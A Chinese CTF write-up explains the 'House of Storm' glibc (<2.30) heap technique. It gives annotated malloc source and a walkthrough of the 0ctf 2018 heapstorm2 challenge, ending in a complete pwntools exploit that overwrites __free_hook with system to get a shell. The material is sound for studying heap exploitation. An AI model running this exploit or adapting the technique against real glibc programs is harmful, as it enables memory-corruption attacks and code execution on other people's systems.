https://www.cnblogs.com/Rookle/p/13140339.html
作用:任意地址分配chunk
利用条件:
1 glibc<2.30
2 能够在largebin和unsortedbin中分别布置一个chunk且unsortedbin中的较大(但要和largebin中的chunk大小在同一范围)
3 unsortedbin chunk的bk可控(unsortedbin attack)
4 largebin chunk的bk和bk_nextsize可控(largebin attack)
源码分析
漏洞发生在unsorted_bin的chunk放入largebin的过程中,以下是glibc2.23的源码分析
关键代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
victim = unsorted_chunks (av)->bk
bck = victim->bk
unsorted_chunks (av)->bk = bck
bck->fd = unsorted_chunks (av)
---------------------------------------------------------
//下称我们在unsortedbin中布置的chunk为unsorted_chunk
//我们控制unsorted_chunk->bk = fake_chunk
//unsorted_chunks(av)->bk = fake_chunk
unsorted_chunks(av)->bk = unsorted_chunk->bk;
//fake_chunk+0x10 = unsorted_bin
bck->fd = unsorted_chunks(av);
//这里将fake_chunk的fd改为了mainarea+88
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
|
//我们在largebin中布置的chunk称作large_chunk
else
{
/*
如果unsorted_chunk->size 大于 largbin_chunk->size,
把unsorted_chunk加入到纵向链表中
我们控制
large_chunk->bk = fake_chunk+0x8
large_chunk->bk_nextsize=fake_chunk-0x18-5
--------------------------------------
{
原代码
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
---------------------------------------
}
bck = fwd->bk;
*/
unsorted_chunk->fd_nextsize = largbin_chunk;
//unsorted_chunk->bk_nextsize = fake_chunk-0x18-5
unsorted_chunk->bk_nextsize = largbin_chunk->bk_nextsize;
largbin_chunk->bk_nextsize = unsorted_chunk;
//fake_chunk+0x3 = unsorted_chunk
unsorted_chunk->bk_nextsize->fd_nextsize = unsorted_chunk;
//这里设置好了了fake_chunk的size
}
//bck = fake_chunk+0x8(为下面设置fake_chunk的bk做准备)
bck = largbin_chunk->bk;
}
}
mark_bin(av, unsorted_chunk_index); //把unsorted_chunk加入到的bin的表示为非空
//把unsorted_chunk加入到large bin的链表中
/*
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
*/
unsorted_chunk->bk = bck;
unsorted_chunk->fd = largbin_chunk;
largbin_chunk->bk = unsorted_chunk;
//fake_chunk+0x18 = unsorted_chunk
bck->fd = unsorted_chunk;
|
主要改写就以下4个地方
- unsorted_bin->bk = fake_chunk #把fake_chunk链到了unsorted_bin中
- fake_chunk+0x10 = unsorted_bin #伪造fake_chunk的fd
- fake_chunk+0x3 = unsorted_chunk #伪造fake_chunk的size
- fake_chunk+0x18 = unsorted_chunk #伪造fake_chunk的bk
通过以上4步,我们成功伪造一个合法的fake_chunk,满足unsorted bin的要求,并把它链到了unsorted bin中
关于fake_chunk_size:我们在fake_chunk+0x3位置写入了一个堆地址,该地址的高字节会成为fake_chunk的size,开启ALSR的64位程序堆地址一般是0x57、0x56或0x55开头,这三个个数作为chunk_size,去掉标志位之后都是0x50,但是__int_malloc在拿到chunk后返回到__libc_malloc,__libc_malloc会对chunk的进行检查,要求M位等于1,0x55不符合条件,所以我们可能要多运行几次
1
2
3
4
5
6
7
8
9
10
11
|
/*
#define arena_for_chunk(ptr) \
(chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)
过以下检测需要满足的要求,只需满足一条即可
1. victim 为 0
2. IS_MMAPPED 为 1
3. NON_MAIN_ARENA 为 0
*/
assert(!victim || chunk_is_mmapped(mem2chunk(victim))
|| ar_ptr == arena_for_chunk(mem2chunk(victim)));
|
完整代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
|
//#define unsorted_chunks(M) (bin_at (M, 1))
//如果unsorted bins不为空,从尾到头遍历unsorted bin中的每个chunk
while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av))
{
bck = victim->bk;//取出unsorted的尾部的chunk
/*
检查当前遍历的 chunk 是否合法,chunk 的大小不能小于等于 2 * SIZE_SZ,
也不能超过 该分配区总的内存分配量。然后获取 chunk 的大小并赋值给 size。
这里的检查似乎有点小问题,直接使用了 victim->size,但 victim->size
中包含了相关的标志位信息,使用 chunksize(victim) 才比较合理,但在
unsorted bin 中的空闲 chunk 的所有标志位都清零了,所以这里直接
victim->size 没有问题。
*/
if (__builtin_expect(victim->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect(victim->size > av->system_mem, 0))
malloc_printerr(check_action, "malloc(): memory corruption",
chunk2mem(victim), av);
size = chunksize(victim);//获取victim的size
/*
如果要申请的大小在smallbin范围 且 unsorted chunks 只有一个chunk,且
victim是last_remainder 且 victim的size大于请求的chunk的大小nb加上
(MINSIZE)最小chunk的size,那么就切割remainder,然后返回victim。
last_remainder 是一个 chunk 指针,分配区上次分配 small chunk 时,
从一个 chunk 中分 裂出一个 small chunk 返回给用户,分裂后的剩余部分
形成一个 chunk,last_remainder 就是 指向的这个 chunk。
*/
if (in_smallbin_range(nb) &&
bck == unsorted_chunks(av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE)) {
//分割remainder
remainder_size = size - nb;//计算分割后剩下的size
remainder = chunk_at_offset(victim, nb);//获取remainder的地址
//把remainder加入unsorted bin中
unsorted_chunks(av)->bk = unsorted_chunks(av)->fd = remainder;
av->last_remainder = remainder; // 设置last_remainder为remainder
remainder->bk = remainder->fd = unsorted_chunks(av);
//如果是remainder在large bin的范围,则把fd_nextsize,fd_nextsize清零
if (!in_smallbin_range(remainder_size)) {
remainder->fd_nextsize = NULL;
remainder->fd_nextsize = NULL;
}
//设置victim的size
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
//设置remainder的size
set_head(remainder, remainder_size | PREV_INUSE);
//设置remainder的物理相邻的下一个chunk的prev_size
set_foot(remainder, remainder_size);
check_malloced_chunk(av, victim, nb);//默认不做任何操作
void *p = chunk2mem(victim);//将chunk指针转化为mem指针
alloc_perturb(p, bytes);//将p的mem部分全部设置为bytes ,默认什么也不做
return p;
}
//把victim从unsorted bin 中移除
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);
//如果 victim 的size 与申请的size相等,那么就返回其。
if (size == nb) {
//设置victim物理相邻的下一个chunk的prev_inuse位
set_inuse_bit_at_offset(victim, size);
//如果av不是main_arena 也就是说如果不是主进程,设置NON_MAIN_ARENA位
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk(av, victim, nb); // 默认不做任何操作
void *p = chunk2mem(victim);//把chunk转换为mem指针
alloc_perturb(p, bytes);//将p的mem部分全部设置为bytes ,默认什么也不做
return p;
}
//如果上一步取出的chunk没有匹配成功,那么将该chunk放入对应的bin中
//如果在smallbin的范围,则放到对应多small bin中
if (in_smallbin_range(size))
{
victim_index = smallbin_index(size);//获取size对应的smallbin的index
bck = bin_at(av, victim_index);//bck指向size对应的smallbin的链表头
//fwd指向size对应的smallbin的链表中的新加入的chunk(small bin使用头插法)
fwd = bck->fd;
}
else//如果不再smallbin的范围,也就是说在large bin 的范围
{
victim_index = largebin_index(size);//获取size对应的large bin的index
bck = bin_at(av, victim_index);//bck指向size对应的large bin的链表头
fwd = bck->fd;//fwd指向size对应的large bin的链表中的新加入的chunk
//如果large bin 非空,在largbin进行按顺序插入
if (fwd != bck) {
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
assert((bck->bk->size & NON_MAIN_ARENA) == 0);//默认不启用assert
/*
large bin中的chunk是按从大到小排列的,如果size < large bin
的最后一个chunk,说明size是这个large bin中的最小的,我们把它
加入到此large bin尾部。
*/
if ((unsigned long) (size) < (unsigned long) (bck->bk->size)) {
fwd = bck;
bck = bck->bk;
/*
large bin 中size最小的chunk的fd_nextsize会指向size最大的
那个chunk,也就是首部的chunk。同样,large bin 中size最大的
chunk的bk_nextsize会指向size最小的那个chunk。
victim的bk_nextsize指向large bin原来最小的chunk,它的
bk_nextsize指向最大的那个chunk。那么原来的最小的就成了第二小的了。
把它fd_nextsize和bk_nextsize都修正。
*/
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
//最大size的chunk的bk_nextsize,和原来最小chunk的bk_nextsize都指向victim
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else //如果victim不是large bin 中最小的chunk
{
assert((fwd->size & NON_MAIN_ARENA) == 0);//默认不启用assert
//从大到小(从头到尾)找到合适的位置
while ((unsigned long) size < fwd->size) {
fwd = fwd->fd_nextsize;
assert((fwd->size & NON_MAIN_ARENA) == 0);
}
//如果size刚好相等,就直接加入到其后面省的改fd_nextsize和bk_nextsize了
if ((unsigned long) size == (unsigned long) fwd->size)
fwd = fwd->fd;
else
{
//size不相等,即size>fwd->size,把victim加入到纵向链表中
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}
else //如果large bin 为空,将victim加入到纵向列表
victim->fd_nextsize = victim->bk_nextsize = victim;
}
//#define mark_bin(m, i) ((m)->binmap[idx2block (i)] |= idx2bit (i))
mark_bin(av, victim_index); //把victim加入到的bin的表示为非空
//把victim加入到large bin的链表中
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
}
|
利用方法
1 控制unsorted_chunk的bk为fake_chunk
2 控制largebin_chunk的bk和bk_nextsize分别为fake_chunk+0x8和fake_chunk-0x18-5
3申请一个大小为0x50的chunk(这里大小指nb)
[BUU] 0ctf_2018_heapstorm2
代码分析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
__int64 sub_BE6()
{
int i; // [rsp+8h] [rbp-18h]
int fd; // [rsp+Ch] [rbp-14h]
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
alarm(0x3Cu);
puts(
" __ __ _____________ __ __ ___ ____\n"
" / //_// ____/ ____/ | / / / / / | / __ )\n"
" / ,< / __/ / __/ / |/ / / / / /| | / __ |\n"
" / /| |/ /___/ /___/ /| / / /___/ ___ |/ /_/ /\n"
"/_/ |_/_____/_____/_/ |_/ /_____/_/ |_/_____/\n");
puts("===== HEAP STORM II =====");
if ( !mallopt(1, 0) )
exit(-1);
if ( mmap(&unk_13370000, 0x1000uLL, 3, 34, -1, 0LL) != &unk_13370000 )
exit(-1);
fd = open("/dev/urandom", 0);
if ( fd < 0 )
exit(-1);
if ( read(fd, &unk_13370800, 0x18uLL) != 24 )
exit(-1);
close(fd);
unk_13370818 = unk_13370810;
for ( i = 0; i <= 15; ++i )
{
*((_QWORD *)&unk_13370800 + 2 * i + 4) = xor1(&unk_13370800, 0LL);
*((_QWORD *)&unk_13370808 + 2 * i + 4) = xor2(0x13370800LL, 0LL);
}
return 0x13370800LL;
}
|
init函数用了mallopt将M_MXFAST置为0,这个变量表示一个阈值,此阈值以下的size分配chunk的时候使用fastbin,否则不用。这里置为0,表示所有的chunk都不走fast bin,无论是分配或是释放。此外程序使用mmap分配了一块内存区域0x13370000,可读可写。
map_addr[0]、map_addr[1]、map_addr[2]为/dev/urandom生成的随机数。map_addr[3]=map_addr[2]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
void __fastcall add(__int64 a1)
{
int i; // [rsp+10h] [rbp-10h]
int v2; // [rsp+14h] [rbp-Ch]
void *v3; // [rsp+18h] [rbp-8h]
for ( i = 0; i <= 15; ++i )
{
if ( !xor2(a1, *(_QWORD *)(16 * (i + 2LL) + a1 + 8)) )
{
printf("Size: ");
v2 = getnum();
if ( v2 > 12 && v2 <= 4096 )
{
v3 = calloc(v2, 1uLL);
if ( !v3 )
exit(-1);
*(_QWORD *)(16 * (i + 2LL) + a1 + 8) = xor2(a1, v2);
*(_QWORD *)(16 * (i + 2LL) + a1) = xor1(a1, v3);
printf("Chunk %d Allocated\n", (unsigned int)i);
}
else
{
puts("Invalid Size");
}
return;
}
}
}
|
add()函数从map_addr[4]开始寻找空闲位置(xor寻找),size要求大于12小于0x1001,使用calloc,因此会将内存清零。map_addr[i]存放的是size和map_addr[0]异或的值,map_addr[i+1]存放的是chunk_addr和map_addr[1]异或的值。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
int __fastcall edit(_QWORD *a1)
{
signed int v2; // [rsp+10h] [rbp-20h]
int v3; // [rsp+14h] [rbp-1Ch]
__int64 v4; // [rsp+18h] [rbp-18h]
printf("Index: ");
v2 = getnum();
if ( (unsigned int)v2 > 0xF || !xor2((__int64)a1, a1[2 * v2 + 5]) )
return puts("Invalid Index");
printf("Size: ");
v3 = getnum();
if ( v3 <= 0 || v3 > (unsigned __int64)(xor2((__int64)a1, a1[2 * v2 + 5]) - 12) )
return puts("Invalid Size");
printf("Content: ");
v4 = xor1(a1, a1[2 * v2 + 4]);
sub_1377(v4, v3);
strcpy((char *)(v3 + v4), "HEAPSTORM_II");
return printf("Chunk %d Updated\n", (unsigned int)v2);
}
|
edit函数存在off_by_one漏洞
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
int __fastcall delete(_QWORD *a1)
{
void *v2; // rax
signed int v3; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
v3 = getnum();
if ( (unsigned int)v3 > 0xF || !xor2((__int64)a1, a1[2 * v3 + 5]) )
return puts("Invalid Index");
// 1
v2 = (void *)xor1(a1, a1[2 * v3 + 4]);
free(v2);
a1[2 * v3 + 4] = xor1(a1, 0LL);
a1[2 * v3 + 5] = xor2((__int64)a1, 0LL);
return printf("Chunk %d Deleted\n", (unsigned int)v3);
}
|
Delete函数释放堆块并将原位置置为map_addr[0]和map_addr[1]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
int __fastcall show(_QWORD *a1)
{
__int64 v2; // rbx
__int64 v3; // rax
signed int v4; // [rsp+1Ch] [rbp-14h]
if ( (a1[3] ^ a1[2]) != 0x13377331LL )
return puts("Permission denied");
printf("Index: ");
v4 = getnum();
if ( (unsigned int)v4 > 0xF || !xor2((__int64)a1, a1[2 * v4 + 5]) )
return puts("Invalid Index");
printf("Chunk[%d]: ", (unsigned int)v4);
v2 = xor2((__int64)a1, a1[2 * v4 + 5]);
v3 = xor1(a1, a1[2 * v4 + 4]);
sub_14D4(v3, v2);
return puts(word_180A);
}
|
show函数要先满足map_addr[2] xor map_addr[3] == 0x13377331,否则不能输出
利用思路
本题的show函数需要通过验证才能解锁,所以我们需要修改mmap_addr[]的内容,利用house of storm可以将mmap_addr当做一个chunk来申请,从而修改其中内容
1利用off_by_null漏洞构造2个chunk overlap,一个用来修改unsortedbin_chunk的bk,一个用来修改largebin_chunk的bk和bk_next_size
2修改mmap_addr[0、1、2]为0,map_addr[3] = 0x13377331,绕过show检查
3修改chunk0_content_addr为mmap_addr,之后可以通过edit(chunk0)控制mmap_addr[]的所有内容,泄露heap,libc,修改free_hook即可
exp如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
|
from pwn import *
context(log_level='debug',arch='amd64')
libc=ELF('/home/fuguang/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF('libc-2.23.so')
def add(size):
p.sendline('1')
p.recvuntil('Size: ')
assert(12 < size <= 0x1000)
p.sendline(str(size))
p.recvuntil('Command: ')
def edit(idx, content):
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(str(idx))
p.recvuntil('Size: ')
p.sendline(str(len(content)))
p.recvuntil('Content: ')
p.send(content)
p.recvuntil('Command: ')
def free(idx):
p.sendline('3')
p.recvuntil(b'Index: ')
p.sendline(str(idx))
p.recvuntil('Command: ')
def show(idx):
p.sendline(b'4')
p.recvuntil(b'Index: ')
p.sendline(str(idx))
p.recvuntil(b']:')
p.recv(1)
addr=u64(p.recv(6).ljust(8,b'\x00'))
return addr
while True:
p=process('./pwn')
#p=remote('node5.buuoj.cn',28814)
add(0x18)#0
add(0x508)#1
add(0x18)#2
edit(1,b'a'*0x4f0+p64(0x500))
add(0x18)#3
add(0x508)#4
add(0x18)#5
edit(4,b'a'*0x4f0+p64(0x500))
add(0x18)#6
free(1)
edit(0,b'a'*(0x18-12))
add(0x18)#1
add(0x4d8)#7
free(1)
free(2)
add(0x38)#1
add(0x4e8)#2
free(4)
edit(3,b'a'*(0x18-12))
add(0x18)# 4
add(0x4d8)#8
free(4)
free(5)
add(0x48)# 4
free(2)
add(0x4e8)
free(2)
storage=0x13370000+0x800
fake_chunk=storage-0x20
pay1=p64(0)*2+p64(0)+p64(0x4f1)
pay1+=p64(0)+p64(fake_chunk)#修改unsorted bin chunk bk
edit(7,pay1)
#修改large bin bk bk->nextsize
pay2=p64(0)*4+p64(0)+p64(0x4e1)
pay2+=p64(0)+p64(fake_chunk+8)
pay2+=p64(0)+p64(fake_chunk-0x18-0x5)
edit(8,pay2)
try:
add(0x48)#2
except:
p.close()
continue
pay3=p64(0)*5+p64(0x13377331)+p64(storage)
edit(2,pay3)
pay4=p64(0)*3+p64(0x13377331)+p64(storage)+p64(0x1000)#chunk0_Ptr,size
pay4+=p64(0x133707e3)+p64(8)#chunk1_ptr,size
edit(0,pay4)
heap=show(1)
#gdb.attach(p)
print(hex(heap))
pay5=p64(0)*3+p64(0x13377331)+p64(storage)+p64(0x1000)#chunk0_Ptr,size
pay5+=p64(heap+0x10)+p64(8)
edit(0,pay5)
libcbase=show(1)-0x3c4b78
print(hex(libcbase))
free_hook=libcbase+libc.sym['__free_hook']
sys=libcbase+libc.sym['system']
pay6=p64(0)*3+p64(0x13377331)+p64(storage)+p64(0x1000)#chunk0_Ptr,size
pay6+=p64(free_hook)+p64(8)
pay6+=p64(storage+0x50)+p64(8)
pay6+=b'/bin/sh\x00'
edit(0,pay6)
edit(1,p64(sys))
print(hex(free_hook))
#gdb.attach(p)
p.sendline('3')
p.recvuntil(b'Index: ')
p.sendline(b'2')
p.interactive()
break
|